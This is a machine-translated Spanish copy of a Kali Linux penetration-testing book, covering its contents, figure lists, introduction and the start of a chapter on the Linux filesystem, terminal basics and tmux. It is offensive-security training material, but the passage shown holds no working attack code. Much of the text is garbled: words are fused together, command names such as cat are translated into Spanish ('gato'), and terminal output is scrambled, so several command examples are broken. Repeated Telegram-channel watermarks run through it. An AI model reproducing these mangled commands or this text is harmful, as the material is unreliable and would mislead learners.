Machine Translated by Google Machine Translated by Google Tabla de contenido Cubrir Pagina del titulo Introducción ¿Que cubre este libro? CompanionDescargar archivos Cómo contactar con el editor Cómo contactar con el autor CAPÍTULO 1: Dominar la ventana de terminal KaliLinuxSistema de archivos Administración de usuarios y grupos en Kali Gestión de archivos y carpetas en Kali Linux ConexionesRemotasenKali Gestión del sistema KaliLinux Redes en KaliLinux Resumen CAPÍTULO 2: BashScripting BasicBashScripting Impresión en la pantalla en Bash Variables Parámetros de secuencia de comandos Entrada del usuario Funciones Condiciones y bucles Resumen CAPÍTULO 3: Exploración de hosts de red Conceptos básicos de las redes Escaneo de red Enumeración DNS Canal de Telegram : @IRFaraExam Machine Translated by Google Resumen CAPÍTULO 4:Recopilación de información en Internet Huella pasiva y reconocimiento Resumen CAPÍTULO 5: Ataques de ingeniería social SpearPhishingAtaques Cargas útiles y oyentes Ingeniería social con USBRubberDucky Resumen CAPÍTULO 6: Fase de enumeración avanzada Protocolos de transferencia Protocolos de correo electrónico Base de datosProtocolos Protocolos CI/CD Protocolos web80/443 Protocolos de comunicación remota gráfica Protocolos para compartir archivos Resumen CAPÍTULO 7: Fase de Explotación Evaluación de vulnerabilidades ServiciosExplotación Resumen CAPÍTULO 8: Vulnerabilidades de aplicaciones web Vulnerabilidades de aplicaciones web Resumen CAPÍTULO 9: Pruebas de penetración web y desarrollo de software seguro Ciclo vital WebEnumerationandExploitation Ciclo de vida de desarrollo de software seguro Resumen CAPÍTULO 10: Escalada de privilegios de Linux Canal de Telegram : @IRFaraExam Machine Translated by Google Introducción a las vulnerabilidades del kernel y las configuraciones que faltan Exploits del núcleo SUIDEexplotación Anulación del archivo de usuarios de contraseñas CRONJobsPrivilegeEscalation sudoers Explotación de los servicios de ejecución Scripts automatizados Resumen CAPÍTULO 11: Escalada de privilegios de Windows WindowsSystemEnumerationWindowsSystemEnumeration Transferencias de archivos WindowsSistemaExplotación Resumen CAPÍTULO 12: Pivote y movimiento lateral DumpingWindowsHashes Rotación con redirección de puertos Resumen CAPÍTULO 13: Criptografía y cracking hash Conceptos básicos de la criptografía Descifrando secretos con Hashcat Resumen CAPÍTULO 14: Informes Descripción general de informes en pruebas de penetración PuntuaciónGravedades InformePresentación Resumen CAPÍTULO 15: Lenguaje de ensamblaje e ingeniería inversa Registros de CPU Instrucciones de montaje Canal de Telegram : @IRFaraExam Machine Translated by Google Tipos de datos Segmentos de memoria Modos de direccionamiento Ejemplo de ingeniería inversa Resumen CAPÍTULO 16: Desbordamiento de búfer/pila Conceptos básicos de StackOverflow StackOverflowExplotación Resumen CAPÍTULO 17: Programación con Python Conceptos básicos de Python Ejecutar PythonScripts Depuración de PythonScripts PracticandoPython PythonBasicSyntaxes Variables MásTécnicasenPython Resumen CAPÍTULO 18: Automatización Pentest con Python PenetraciónPruebaRobot Resumen APÉNDICE A: APÉNDICE A KaliLinuxDesktopataGlance Descargar y ejecutar una VM de Kali Linux KaliXfceEscritorio Resumen APÉNDICEB:APÉNDICEBConstrucción de un entorno de laboratorio con Docker DockerTecnología Resumen Índice Derechos de autor Canal de Telegram : @IRFaraExam Machine Translated by Google Sobre el Autor Acerca del editor técnico Expresiones de gratitud Acuerdo de licencia de usuario final Lista de tablas Capítulo 1 Tabla 1.1 Métodos abreviados de teclado Tmux Capítulo 2 Tabla 2.1 Condiciones numéricas Tabla 2.2 Condiciones de cadena Tabla 2.3 Condiciones de archivo/directorio Capítulo 3 Table3.1OSICapas Tabla 3.2 Subredes y CIDR Tabla 3.3 Números de puertos comunes Table3.4NmapVersionIntensity Capítulo 4 Tabla 4.1 Los criterios de consulta más comunes utilizados en el sitio de Shodan Tabla 4.2 Google Dorks Common Queries Capítulo 14 Tabla 14.1 Calificación CVSSScore Capítulo 15 Tabla 15.1 Registros de banderas Tabla 15.2 Instrucciones de montaje Tabla 15.3 Instrucciones de salto de montaje Tabla 15.4 Instrucciones de montaje Canal de Telegram : @IRFaraExam Machine Translated by Google Tabla 15.5 Tipos de datos Tabla 15.6 Modos de direccionamiento Capítulo 17 Tabla 17.1 Operadores aritméticos Tabla 17.2 Formateadores de cadenas Tabla 17.3 Funciones de cadenas Tabla 17.4 Operadores de comparación Table17.5PythonEscapeCaracteres Lista de Ilustraciones Capítulo 1 Figura 1.1 TmuxNewWindow Figura 1.2 Nueva pestaña resaltada de Tmux Figura 1.3TmuxVerticalWindowsSidebySide Figura 1.4 TmuxHorizontalWindows Figura 1.5 KaliLinux OS Security Commands Figura 1.6 Kali Linux: comandos de archivos y carpetas Figura 1.7 Montaje USB Figura 1.8 Montaje mediante la línea de comandos Figura 1.9 “Inicio de sesión de Windows” Figura 1.10 SSH con Moba Xterm en Windows Figura 1.11 Conexión raíz SSH Figura 1.12 Estado del servicio SSH Figura 1.13 Generación de claves SSH Figura 1.14 Comandos de administración del sistema Kali Figura 1.15H ARRIBA Figura 1.16 Comandos de red de Kali Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.17 Interfaces de red de Kali Figura 1.18 Configuraciones IP estáticas Figura 1.19 Prueba de la conexión a Internet Capítulo 2 Figura 2.1 BashScripting Figura 2.2 ExportConfig Figura 2.3 Secciones de script Figura 2.4 Condiciones y bucles Capítulo 3 Figura 3.1 Protocolo de enlace TCPH Figura 3.2 Selección de interfaz de red de Wireshark Figura 3.3 Captura de Wireshark Figura 3.4 Filtro ICMP de Wireshark Capítulo 4 Figura 4.1 Shodan Figura 4.2 Google Dork Site Filter Figura 4.3 Google Dork Site Filter con descripción Figura 4.4 Google Hacking Database Figura 4.5 Menú Kali: recopilación de información Figura 4.6 MaltegoTransformHub Figura4.7MaltegoEntities Figura4.8MaltegoTransforms Figura4.9MaltegoToDomainsTransform Figura 4.10 Maltego Nombre de Dominio/DNS Figura 4.11 Transformaciones de Nombre de Dominio Figura 4.12 Gráfico Maltego Subdominios Capítulo 5 Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 5.1 Correo electrónico de administración Figura 5.2 BindShell Figura 5.3 ReverseShell Figura5.4VirusTotal Figura5.5USBRubberDucky Figura5.6USBRubberDuckyconMicroSD Figura 5.7 Ejecución de PowerShellinAdminMode Capítulo 6 Figura 6.1 Portal web de Jenkins Figura 6.2 Mensaje de error de Jenkins Figura 6.3 Configuración de red de Firefox Figura 6.4 KaliMenuÿBurpSuite Figura 6.5 BurpSuiteProxy Figura 6.6 BurpSuite: envío a repetidor Figura 6.7 Contenido POST Capítulo 7 Figura 7.1 OpenVASWebPortal Figura 7.2 OpenVASNewTarget Figura 7.3 Opciones de OpenVASTarget Figura 7.4 Opciones de OpenVASTTask Figure7.5OpenVASRunATask Figure7.6OpenVASReportResults Figure7.7OpenVAS–VulnerabilityResultsSample Figura 7.8Referencias de OpenVASÿReport Figura 7.9GoogleSearchforExploit Figura 7.10FileZillaFTPConnect Figura7.11FileZillaFTPConnectionEstablished Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.12 Búsqueda de Google: FTP Exploit Figura 7.13 Selección de interfaz de Wireshark Figura 7.14 Resultados de captura de Wireshark Figura 7.15 Wireshark: Seguir transmisión de TCP Figura 7.16 Wireshark: Captura de texto transparente Figura 7.17 Configuración de recepción de correo electrónico Figura 7.18 Configuración de envío de correo electrónico Figura 7.19 Bandeja de entrada de correo electrónico Figura 7.20 DockerHostDesign Figura 7.21 Página de inicio de Jenkins Figura 7.22Jenkins-Nuevo proyecto Figura 7.23 Jenkins–AddBuildStep Figura 7.24 Jenkins–ReverseShell Figura 7.25 SMBConnect Figura 7.26 Conexión SMB establecida Capítulo 8 Figura 8.1 Página de inicio de Mutillidae Figura 8.2 Búsqueda de DNS de Mutillidae Figura 8.3 Mutillidae–ScriptAlert Figura 8.4 Mutillidae–BlogEntry Figura 8.5 Troncos de Mutillidae Figura 8.6 Burpsuite–ProxyIntercept Figura 8.7BurpSuite–UserÿAgentEditar Figura 8.8 Mutillidae: mensaje de error de BadCharacters Figura 8.9BurpSuite–InterceptPayload Figura 8.10 BurpSuite–TargetHostScript Figura 8.11 Tabla de cuentas Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.12 AccountsTableÿSQLQuery Figura 8.13 Iniciar sesión SQLi Figura 8.14 Inicio de sesión SQLiQuery Figura 8.15 Resultados de LoginSQLi Figura 8.16 Mutillidae–LoginSQLi Figura 8.17 Mutillidae– Resultados de LoginSQLi Figura 8.18Sintaxis de SQLiÿUnionSelect Figura 8.19 SQLi: selección de unión Figura 8.20 SQLi: selección de unión con versión de base de datos Figura 8.21 Tabla de esquema: campo de tarjetas de crédito Figura 8.22 Consulta de tabla de tarjetas de crédito Figura 8.23 Extraer datos de tabla de tarjetas de crédito Figura 8.24 SQLQuery–Escribir en el sistema Figura 8.25 Error de SQLi Figura 8.26 Mutillidae: inyección de comandos Figura 8.27 Mutillidae: extracción de archivo de contraseña Figura 8.28 Mutillidae: inclusión de archivo remoto Figura 8.29 Página de blog de Mutillidae Figura 8.30 BurpSuite: generar CSRFPoC Figura 8.31 BurpSuite: generar CSRFCopyHTML Figure8.32CSRFPoCVictim Figure8.33CSRFPoCResults Figure8.34MutillidaeFileUpload Figura 8.35Mutillidae–FileUploadResults Figura 8.36 Carga de archivos POSTData Figura 8.37 Carga de archivos Post Data Cargas útiles Figura 8.38 BurpSuite–InterceptHexTab Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.39 Capítulo 9 de codificación de BurpSuite Figura 9.1 Certificado de BurpSuite Figura 9.2 Importación del certificado de Burp Suite Figura 9.3 Ficha Proxy de Burp Suite, sección Opciones Figura 9.4 Objetivo de BurpSuite Figura 9.5 Opción BurpSuiteAddToScope Figura 9.6 BurpSuiteInÿScopeFilter Figura 9.7BurpSuiteInÿScopeFilterAplicado Figura9.8BurpSuiteDiscoverContentMenuItem Figura 9.9BurpSuiteRunningDiscoverContentFeature Figura 9.10 BurpSuiteActiveScan Figura 9.11 Elemento de menú Enviar a repetidor de Burp Suite Figura 9.12 Cambio del parámetro UID Figura 9.13 Subficha BurpSuiteIntruderPositions Figura 9.14 BurpSuiteIntruderPayload Figura 9.15BurpSuiteIntruderPayloadOption Figura 9.16BurpSuiteIntruderAttack Figura 9.17 Ficha Extensor de BurpSuite Figura 9.18BAppStore Figura 9.19 Creación de informes en Burp Suite Figura 9.20 Ejemplo de informe en Burp Suite Figura 9.21 Ciclo de vida de desarrollo de software Figura 9.22 Ciclo de vida de desarrollo seguro Figura 9.23 Diagrama de red Figura 9.24 Diagrama de flujo de datos Capítulo 10 Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 10.1 Búsqueda de Google: capítulo 11 de DirtyCOWExploit Figura 11.1 Permisos de Windows Figura 11.2 Respaldo de Iperius Figura 11.3 Pestaña Acerca de Iperius Figura 11.4 ExploitÿDB–IperiusExploitation Figura 11.5 Iperius–Evil.batConfig Capítulo 12 Figura 12.1 Reenvío de puertos Figura 12.2 Diagrama de red ECorp Capítulo 13 Figura 13.1 Herramienta RSA Capítulo 14 Figura 14.1 Calculadora CVSS Figura 14.2 Resultados CVSS Capítulo 15 Figura 15.1 Registros generales de CPU Figura 15.2 Registros de índice Figura 15.3 Registros de puntero Figura 15.4 Registros de segmento Figura 15.5 Segmentos de memoria Figura 15.6 Inmunidad en pausa Figura 15.7 Instrucciones de la función principal Figura 15.8 Seguimiento en volcado Figura 15.9 Ventana de volcado de memoria Figura 15.10 Menú de mapa de memoria Figura 15.11 Ventana de mapa de memoria Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.12 HelloWorld.text Figura 15.13 Registros Figura 15.14 Pila Capítulo 16 Figura 16.1 Punteros de pila Figura 16.2PUSHEBP Figura 16.3 Depurador de inmunidad, apertura de un archivo Figura 16.4 Depurador de inmunidad, botón Ejecutar Figura 16.5 Mensaje de error Figura 16.6 Estructura de pila Figura 16.7 Llenar el búfer con As Figura 16.8 Desbordamiento de pila con A, B y C Capítulo 17 Figura 17.1 Ejecución de VSCode Figura 17.2 Extensión de Python Figura 17.3 Pylint Figura 17.4 Depuración Figura 17.5 Salida Capítulo 18 Figura 18.1 Flujo de trabajo de la aplicación Apéndice A Figura A.1 Elija Kali/Linux en el menú Cargar Figura A.2 Opción de instalación de Xfce FiguraA.3KaliDesktop Figura A.4 Menú Kali Figura A.5 Eliminar de favoritos Figura A.6 Agregar a favoritos Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.7KaliMenuTools FiguraA.8KaliSettingsMenu Figura A.9 Administración de la red Figura A.10 KaliDarkTheme Figura A.11 DesktopIcons Figura A.12 Cambio de fuentes Figura A.13 Configuración de apariencia Figura A.14 Cambiar el fondo del escritorio Figura A.15 Configuración del menú Figura A.16 Menú de aplicaciones Figura A.17 Gestión de espacios de trabajo Figura A.18 Configuración de iconos Figura A.19 Configuración de pantalla Figura A.20 Configuración avanzada de pantalla Figura A.21 KaliFileManager Figura A.22 Preferencias del Administrador de archivos Figura A.23 Comportamiento del Administrador de archivos Figura A.24 Configuración avanzada del Administrador de archivos Figura A.25 Configuración del teclado Figura A.26 Accesos directos de aplicaciones Figura A.27 Editor de tipos MIME Figura A.28 Configuración del mouse Figura A.29 Barra superior Figura A.30 Configuración del panel Figura A.31 Configuración de la apariencia del panel Figura A.32 Posición de los elementos del panel Figura A.33 Espacios de trabajo Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.34 Administrador de ventanas Figura A.35 Métodos abreviados de teclado de Windows Figura A.36 Ajustes de enfoque de ventana Figura A.37 Configuración del panel Figura A.38 Cambios en el panel superior Figura A.39 Adición de un panel Figura A.40 Configuración del nuevo panel Figura A.41 Agregar al panel Figura A.42 Resultados finales Figura A.43 Configuración de escritorio Figura A.44 Escritorio Fondo FiguraA.45IconsSettings FiguraA.46DesktopNewLook FiguraA.47GraphicalInstall Figura A.48 Idioma Figura A.49 Nombre de host Figura A.50 Nombre completo de usuario Figura A.51 Contraseña de usuario Figura A.52 Discos de partición Paso 1 Figura A.53 Discos de partición Paso 2 Figura A.54 Discos de partición Paso 3 Figura A. 55 Discos de partición Paso final Figura A. 56 Selección de software Figura A.57 Cargador GRUB Figura A.58 Instalación Realización Apéndice B Figura B.1 Comandos de Docker Canal de Telegram : @IRFaraExam Machine Translated by Google Figura B.2 DockerContainer Figura de ejemplo B.3 MutillidaeDBInit Figura B.4 Página de inicio de Mutillidae Canal de Telegram : @IRFaraExam Machine Translated by Google KaliLinuxPenetraciónPruebas Biblia GusKhawaja Canal de Telegram : @IRFaraExam Machine Translated by Google Introducción Kali es una distribución popular de Linux utilizada por profesionales de la seguridad y se está convirtiendo en una herramienta importante para el uso diario y para las certificaciones. KaliLinux Penetration Testing Bible es una guía práctica para sacar el máximo partido de Kali Linux para realizar pruebas de penetración. Este libro está destinado a profesionales de la ciberseguridad que trabajan en roles ofensivos y prácticos, incluidos los miembros del equipo rojo, los hackers de sombrero blanco y los hackers éticos. Este completo libro de pruebas de penetración cubre todos los aspectos del corazón y la ciencia de las pruebas de penetración. Cubre temas como la creación de un entorno Dockerizado moderno, los conceptos básicos del lenguaje bash en Linux, la búsqueda de vulnerabilidades de diferentes maneras, la identificación de falsos positivos y los flujos de trabajo prácticos de las pruebas de penetración. Al leer este libro, usted: Obtenga una comprensión profunda de los cientos de herramientas de prueba de penetración disponibles en Kali Linux. Domine toda la gama de técnicas de hacking ético para que pueda ser más eficaz en su trabajo y obtener las codiciadas certificaciones. Aprenda cómo funcionan las pruebas de penetración en la práctica y llene los vacíos en su conocimiento para convertirse en un experto en pruebas de penetración. Descubre las herramientas y técnicas que utilizan los hackers para potenciar las defensas de tu red. Canal de Telegram : @IRFaraExam Machine Translated by Google ¿Que cubre este libro? Este libro profundiza en el tema de las pruebas de penetración. Para los probadores de penetración establecidos, este libro llena todos los vacíos prácticos, por lo que tiene un recurso completo que lo ayudará a medida que avanza su carrera. Capítulo 1: Dominar la ventana del terminal Este capítulo describe el interior y el exterior de la ventana Terminal del sistema Linux y muestra cómo administrar el sistema de archivos como los profesionales. Aprenderá cómo administrar usuarios y grupos dentro de Kali, y verá cómo manipular archivos y carpetas durante sus compromisos y mucho más. Capítulo 2: Bash Scripting Bash scripting es una habilidad esencial para un probador de penetración. En este capítulo aprenderá cómo comenzar a usar principios de programación tales como variables, funciones, condiciones, bucles y mucho más. Capítulo 3: Exploración de hosts de red Este capítulo le enseña cómo realizar exploraciones de red como profesionales. Primero aprenderá sobre los aspectos básicos de las redes y luego profundizará en las técnicas de exploración de puertos. Capítulo 4: Recopilación de información en Internet En este capítulo se analiza la fase de recopilación pasiva de información en las pruebas de penetración. Se le presentará cómo manejar las consultas avanzadas del motor de búsqueda. Además, aprenderá a usar Shodan y otras herramientas para hacer el trabajo. Capítulo 5: Ataques de ingeniería social Este capítulo se centra en cómo aprovechar la debilidad humana para explotar las organizaciones. Aprenderá cómo enviar correos electrónicos de phishing y robar credenciales. Además, verá cómo usar Social Engineer Toolkit como un probador de penetración. Canal de Telegram : @IRFaraExam Machine Translated by Google ataques similares. Capítulo 6: Fase de enumeración avanzada Esta revisión del capítulo muestra cómo manejar la fase de enumeración en un compromiso de prueba de penetración. La enumeración significa recopilar la información necesaria que nos permitirá explotar el servicio específico (por ejemplo, FTP, SSH, etc.). Capítulo 7: Fase de explotación Este capítulo analiza algunos ataques reales y le muestra cómo ingresar a los sistemas. En los capítulos anteriores, tenía toda la información sobre cada servicio, y en este, daremos un paso más y explotaremos las vulnerabilidades. Capítulo 8: Vulnerabilidades de las aplicaciones web Este capítulo se enfoca en los aspectos básicos de las vulnerabilidades de las aplicaciones web. Capítulo 9: Pruebas de penetración web y ciclo de vida de desarrollo de software seguro En este capítulo, aprenderá principalmente sobre la metodología de las pruebas de penetración de aplicaciones web y cómo usar BurpSuite Pro. Finalmente, verá cómo implementar un ciclo de vida de desarrollo de software seguro (SSDLC) en una organización. Capítulo 10 : Escalada de privilegios de Linux Este capítulo se centra principalmente en la escalada de privilegios del sistema operativo Linux. Capítulo 11: Escalada de privilegios de Windows Este capítulo describe cómo el administrador administra los privilegios del sistema operativo Windows comprometido. Capítulo 12: Pivote y movimiento lateral Canal de Telegram : @IRFaraExam Machine Translated by Google Este capítulo describe cómo usar la técnica de pivote para moverse lateralmente en la red comprometida. Capítulo 13: Criptografía y cracking hash En este capítulo se describe cómo descifrar hashes durante sus compromisos con Hashcat. Capítulo 14 : Informes Este capítulo explica cómo presentar informes de pruebas de penetración profesionales. Además, aprenderá a evaluar con precisión la gravedad de sus hallazgos. Capítulo 15 : Lenguaje ensamblador e ingeniería inversa Este capítulo le presentará el concepto de ingeniería inversa utilizando el lenguaje ensamblador. Aprenderá los conceptos básicos del lenguaje ensamblador, incluidos los registros, las instrucciones de ensamblado, los segmentos de memoria y mucho más. Capítulo 16: Desbordamiento de búfer/ pila Este capítulo usará lo que aprendió en el capítulo anterior para explotar la pila usando la técnica de desbordamiento de búfer. Capítulo 17 : Programación con Python Este capítulo analiza los aspectos básicos de la versión 3 de Python. Este lenguaje de programación es la elección de los piratas informáticos, por lo que usted también debe aprenderlo. Capítulo 18 : Automatización de Pentest con Python Este capítulo se centra en la automatización de las fases de prueba de penetración utilizando el lenguaje Python. Verá un ejemplo práctico completo que puede utilizar en su carrera. Apéndice A: KaliLinuxDesktopataGlance Este apéndice se enfoca en cómo administrar la interfaz del entorno de escritorio Kali Linux. Aprenderá cómo manejar este sistema operativo con facilidad y personalizarlo a su gusto. Canal de Telegram : @IRFaraExam Machine Translated by Google Apéndice B: Creación de un entorno de laboratorio con Docker Este apéndice profundizará en Docker y verá cómo funcionan las imágenes y los contenedores en la práctica. CompanionDescargar archivos A medida que trabaje con los ejemplos de este libro, puede optar por escribir todo el código manualmente o utilizar los archivos de código fuente que acompañan al libro. Todo el código fuente utilizado en este libro está disponible para su descarga desde www.wiley.com/go/kalilinuxpenbible . Cómo contactar con el editor Si cree que ha encontrado un error en este libro, háganoslo saber. En John Wiley & Sons, comprendemos lo importante que es proporcionar a nuestros clientes un contenido preciso, pero incluso con nuestros mejores esfuerzos, es posible que se produzca un error. ocurrir. Para enviar su posible errata, envíela por correo electrónico a nuestro equipo de servicio al cliente [email protected] con el asunto “Posible envío de erratas de libros”. Cómo contactar con el autor ¡Agradecemos sus comentarios y preguntas acerca de este libro ! [email protected] , Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 1 Dominar la ventana de la terminal KaliLinux se puede resumir en dos palabras sencillas: ventana de terminal. Si domina las habilidades de la ventana de terminal, entonces será uno de esos hackers éticos. Si ya sabe cómo administrar la ventana terminal, use este capítulo como referencia, o puede repasarlo rápidamente en caso de que haya algo nuevo que no haya aprendido antes. El objetivo principal de este capítulo no es solo mostrarle los comandos de Kali Linux, sino ayudarlo a comprenderlo profundamente a través de ejemplos prácticos. KaliLinux es un sistema operativo basado en Debian desarrollado por Offensive Security, por lo que si está acostumbrado a Ubuntu, por ejemplo, los comandos en la ventana del terminal se verán iguales ya que Debian y Kali comparten una distribución igual. Esto es lo que cubre este capítulo: KaliLinuxsistema de archivos Conceptos básicos de la ventana de terminal Administrar usuarios y grupos Manipulación de archivos y carpetas Gestión de conexiones remotas Gestión del sistema KaliLinux Manejo de redes en KaliLinux KaliLinuxSistema de archivos La comprensión de la estructura del sistema de archivos en Kali Linux es crucial. En Windows, el directorio raíz es C:\ pero ,en Kali Linux, es una barra hacia adelante ( / ). No confunda el término directorio raíz con el directorio principal del usuario raíz, que es /root porque , son dos cosas diferentes; el último es el directorio principal Canal de Telegram : @IRFaraExam Machine Translated by Google directorio para el usuario raíz. Hablando sobre el usuario raíz, es esencial comprender que este usuario es el equivalente al usuario administrador en los sistemas operativos Windows . Para obtener una representación visual de los directorios del sistema de archivos de Kali Linux, abra la ventana del terminal y ejecute el comando ls para enumerar el contenido del directorio del sistema raíz. Tenga en cuenta que, de manera predeterminada, estará en el directorio de inicio del usuario . kali@kali:~$cd/ kali@kali:/$ls binbootdevetchomeinitrd.imginitrd.img.oldliblib32lib64libx32lost+foundmediamntoptprocrootrunsbinsrvsystmpusr /bin (binarios): este directorio contiene binarios de Linux como el comando ls que ejecutamos anteriormente. /sbin (binarios del sistema): este directorio contiene archivos binarios del sistema que funcionan como comandos administrativos (p. ej., fdisk ). / boot : este directorio contiene los archivos del gestor de arranque de Linux. / dev (dispositivos): este directorio contiene los archivos de configuración del dispositivo (por ejemplo, /dev/null ). / sys : Esto es similar a / dev y drivers. , que contiene configuraciones sobre dispositivos / etc (etc.): este directorio contiene todos los archivos del sistema de administración (p. ej., /etc/passwd muestra todos los usuarios del sistema en Kali). / lib (bibliotecas): este directorio contiene las bibliotecas compartidas para los binarios dentro de /bin y / sbin . / proc (procesos): este directorio contiene los procesos y los archivos de información del núcleo. / lost+found :Como su nombre lo dice, este directorio contiene los archivos que han sido recuperados. / mnt (montar): este directorio contiene los directorios montados (por ejemplo, un recurso compartido de archivos remoto). Canal de Telegram : @IRFaraExam Machine Translated by Google / media : este directorio contiene los directorios montados en medios extraíbles (por ejemplo, DVD). / opt (opción): este directorio se usa para la instalación de paquetes de software complementarios. / tmp (temporal): esta es una carpeta temporal que se usa temporalmente; el contenido se borra después de cada reinicio. / usr (usuario): Este directorio contiene muchos subdirectorios. De hecho, /usr/share es una carpeta que necesita memorizar porque la mayoría de las herramientas que usa en KaliLinux (p. ej., Nmap, Metasploit, etc.) están almacenadas allí, y contiene los archivos de diccionario de listas de palabras ( /usr/share/wordlists/ ). / home :Este es el hogar para los usuarios de KaliLinux (por ejemplo, /home/john/ ). / root :Esteeseldirectorioprincipaldelusuarioraíz. / srv (servir): esta carpeta contiene algunos datos relacionados con las funcionalidades del servidor del sistema (por ejemplo, datos para servidores FTP). / var (variable): esta carpeta contiene datos variables para bases de datos, registros y sitios web . Por ejemplo, /var/www/html/ contiene los archivos para el servidor web Apache. / ejecutar (tiempo de ejecución): este directorio contiene datos del sistema de tiempo de ejecución (por ejemplo, usuarios registrados actualmente). TerminalWindowComandos básicos Hay muchos comandos comunes que usamos como probadores de penetración a diario. Muchos de estos comandos se enumerarán en las próximas secciones o más adelante en este libro. En esta sección, verá todas las herramientas estándar generales que yo personalmente uso con frecuencia. También aprenderá los comandos básicos identificados para uso general. Primero, para abrir la ventana del terminal desde el escritorio, puede usar la combinación de teclas Ctrl + Alt + T en lugar de abrir la aplicación desde su icono usando el cursor del ratón. Si desea obtener ayuda para cualquier comando que desea ejecutar, simplemente agregue - h o - - ayuda (algunos comandos requieren que use solo uno de ellos). Por ejemplo, si desea ver las diferentes opciones para el comando cat , simplemente escriba Canal de Telegram : @IRFaraExam Machine Translated by Google catÿÿhelp en la ventana de su terminal para obtener toda la ayuda necesaria con respecto a esto herramienta. En el siguiente comando ( catÿh ), verá que la opción ÿh no funciona para el comando cat . En su lugar, utilicé la opción ÿ ÿhelp . (El comando cat es se utiliza con frecuencia para mostrar el contenido de un archivo de texto en la ventana del terminal.) kali@kali:~$gato-h cat:invalidoption--'h' Try'cat--help'formoreinformation. kali@kali:~$gato--ayuda Uso:gato[OPCIÓN]…[ARCHIVO]… ConcatenarARCHIVO(s)a la salida estándar. Sin ARCHIVO, o cuando ARCHIVO es -A,--show-all-b,-number-nonblank -, leer entrada estándar. equivalente a FP numbernonemptyoutputlines,overrides- norte -Y equivalentto-vE mostrar$atendofeachline numerotodaslassalidaslineas suprimir líneas de salida vacías repetidas equivalente a-vT -T,--mostrar pestañas mostrarTABcaracteres como^I -tu (ignorado) -v,--show-nonprintinguse^andM-notation,exceptforLFDand -E,--mostrar-termina-n,-número-s,--apretar-t en blanco PESTAÑA --helpmostrarestaayudaysalir --versionoutputversioninformationandsalir Ejemplos: catf-gOutputf'scontents,thestandardinput,theng's contenido. gato Copie la entrada estándar en la salida estándar. GNUcoreutilsonlinehelp:<https:// www.gnu.org/software/coreutils/> Documentación completa en: <https://www.gnu.org/software/coreutils/cat> o disponible localmente a través de: info'(coreutils)catinvocation' Para borrar el texto de la ventana del terminal, ejecute el comando borrar o presione Ctrl +L hacereltrabajo. Para abrir una nueva pestaña de ventana de terminal, desde su sesión de terminal actual, presione Ctrl+Mayús+T. Para completar la entrada (p. ej., un nombre de archivo o un nombre de comando) automáticamente, utilizo Canal de Telegram : @IRFaraExam Machine Translated by Google la tecla Tabulador. ¿Qué sucede si varios archivos comienzan con el mismo texto? Luego, si presiona el tabulador dos veces, la ventana de la terminal mostrará todas las opciones en su lugar. (La mejor manera de entender este capítulo es abrir la ventana de la terminal y practicar mientras lee las instrucciones). Veamosunejemplo.Enmidirectorioprincipal ,tengodosarchivos , . ymemuestracat . prueba.txt , test.shypresionoTabuladorunavez , prueba. . dos veces, y me muestra la lista de archivos en el directorio actual. Finalmente, puedo abrir el archivo deseado, que es test.txt : root@kali:~#catprueba. Test.shtest.txt raíz @ kali: ~ prueba cattest.txt Para detener la ejecución de cualquier herramienta mientras se está ejecutando, puede usar el atajo de teclado Ctrl+C para detenerla. Para salir de la ventana del terminal y cerrarla, utilice el comando de salida o presione Ctrl +D para realizar el trabajo. Para reiniciar KaliLinux desde la ventana del terminal, debe usar el comando de reinicio, y para apagarlo, debe usar el comando de apagado. Ahora, para obtener la lista de comandos ejecutados recientemente, tendrá que usar el comando history . En Linux, debe comprender que usamos muchas direcciones en la ventana de la terminal. Por ejemplo, para guardar la salida del comando ls en un archivo, puedo redirigir la salida de la ventana de la terminal a un archivo de texto usando el carácter > (mayor que): kali@kali:~$ls>ls_file.txt kali@kali:~$catls_file.txtEscritorio Documentos Descargas ls_file.txt Música Imágenes Público Plantillas Vídeos Canal de Telegram : @IRFaraExam Machine Translated by Google Ahora, puede hacer lo contrario redirigiendo (imprimiendo) el contenido del archivo de texto a la ventana del terminal usando el carácter < (menor que): kali@kali:~$cat<ls_file.txtEscritorio Documentos Descargas ls_file.txt Música Imágenes Público Plantillas Vídeos Otra redirección que debe tener en cuenta es la canalización de comandos. En resumen, puede combinar la salida de cada comando y enviarla al siguiente mediante el comando | personaje: $comando1|comando2|comando3… Por ejemplo, leeré un archivo, luego ordenaré los resultados y finalmente usaré el comando grep para filtrar algunas cadenas de texto (el objetivo es extraer los archivos que comienzan con la palabra prueba): kali@kali:~$catls_file.txt|sort|greptest prueba.sh prueba.txt TmuxTerminalVentana Tmux es una ventana de terminal particular que le permite administrar varias ventanas en su sesión de terminal actual. La mejor manera de explicarlo es a través de ejemplos. Inicio de Tmux Para iniciar Tmux, simplemente escriba Tmux en la ventana de su terminal. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.1 TmuxNewWindow ¿Y qué? Digamos que está en un compromiso y desea ejecutar Nma en una ventana, además de ejecutar Metasploit en otra, y pronto. Aquí es donde Tmu es útil, porque puede trabajar en varias ventanas/sesiones al mismo tiempo. TmuxKeyBindings En Tmux, debe usar Ctrl+B para indicarle que desea ejecutar una acción (comando) de Tmux. De hecho, la combinación de teclas Ctrl+Bis es la predeterminada. Siempre puede cambiar las configuraciones predeterminadas de Tmux en el archivo de configuración. Para cambiar este comportamiento y asignar Ctrl+A en lugar de Ctrl+B, entonces debe crear el archivo de configuración usted mismo por primera vez. Para hacer el trabajo, tiene dos opciones para crear un , . thekeybindingsinit): archivo de configuración en Tmux . root@kali:/#touch/etc/tmux.conf root@kali:/ #echounbindC-b>>/etc/tmux.conf root@kali:/#echoset-gprefixCa>>/etc/tmux.conf root @kali:/#echobindC-asend-prefix>>/etc/tmux.conf Canal de Telegram : @IRFaraExam Machine Translated by Google TmuxSessionManagement En la Figura 1.1, puede ver que el nombre bash se ha asignado automáticamente a su sesión actual. Cambiar nombre de ventana Para cambiar el nombre de la sesión, presione Ctrl + B primero (o Ctrl + A si realizó los cambios en los archivos de configuración que hicimos anteriormente). Luego retire los dedos del teclado y presione la tecla de coma (,) en su 